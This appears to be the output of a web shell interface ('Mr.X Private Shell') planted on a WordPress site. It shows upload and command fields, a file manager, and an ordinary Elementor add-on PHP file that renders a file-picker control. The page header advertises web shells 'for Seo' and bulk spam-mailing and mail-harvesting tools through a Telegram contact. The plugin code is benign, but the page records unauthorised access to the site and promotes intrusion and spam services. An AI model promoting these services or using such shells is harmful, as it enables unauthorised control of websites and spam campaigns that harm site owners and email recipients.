__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace MasterAddons\Inc\Controls;

use Elementor\Base_Data_Control;

if (!defined('ABSPATH')) {
    exit;
};

class JLTMA_Control_File_Select extends Base_Data_Control
{

    public function get_type()
    {
        return 'jltma-file-select';
    }


    /**
     * Enqueue control scripts and styles.
     *
     * Used to register and enqueue custom scripts and styles
     * for this control.
     *
     * @access public
     */
    public function enqueue()
    {
        wp_enqueue_media();
        wp_enqueue_style('thickbox');
        wp_enqueue_script('media-upload');
        wp_enqueue_script('thickbox');

        // Scripts
        wp_enqueue_script('jltma-file-select-control', JLTMA_ADMIN_ASSETS . 'js/file-select-control.js', array('jquery'), JLTMA_VER, true);
        wp_enqueue_script('jltma-file-select-control');
    }

    /**
     * Get default settings.
     *
     * @access protected
     *
     * @return array Control default settings.
     */
    protected function get_default_settings()
    {
        return [
            'label_block' => true,
        ];
    }

    /**
     * Render control output in the editor.
     *
     * @access public
     */
    public function content_template()
    {
        $control_uid = $this->get_control_uid();
?>
        <div class="elementor-control-field">
            <label for="<?php echo esc_attr($control_uid); ?>" class="elementor-control-title">{{{ data.label }}}</label>
            <div class="elementor-control-input-wrapper">
                <a href="#" class="jltma-select-file elementor-button elementor-button-success" style="padding: 10px 15px;border:none !important;display: block;text-align: center;" id="select-file-<?php echo esc_attr($control_uid); ?>"><?php echo esc_html__("Choose / Upload File", 'theme-masters-elementor'); ?></a> <br />

                <input type="text" class="jltma-selected-file-url" id="<?php echo esc_attr($control_uid); ?>" data-setting="{{ data.name }}" placeholder="{{ data.placeholder }}">
            </div>
        </div>
        <# if ( data.description ) { #>
            <div class="elementor-control-field-description">{{{ data.description }}}</div>
            <# } #>
        <?php
    }
}

Filemanager

Name Type Size Permission Actions
group Folder 0775
choose-text.php File 2.58 KB 0775
file-select.php File 2.18 KB 0775
jltma-query.php File 689 B 0775
visual-select.php File 2.61 KB 0775
Filemanager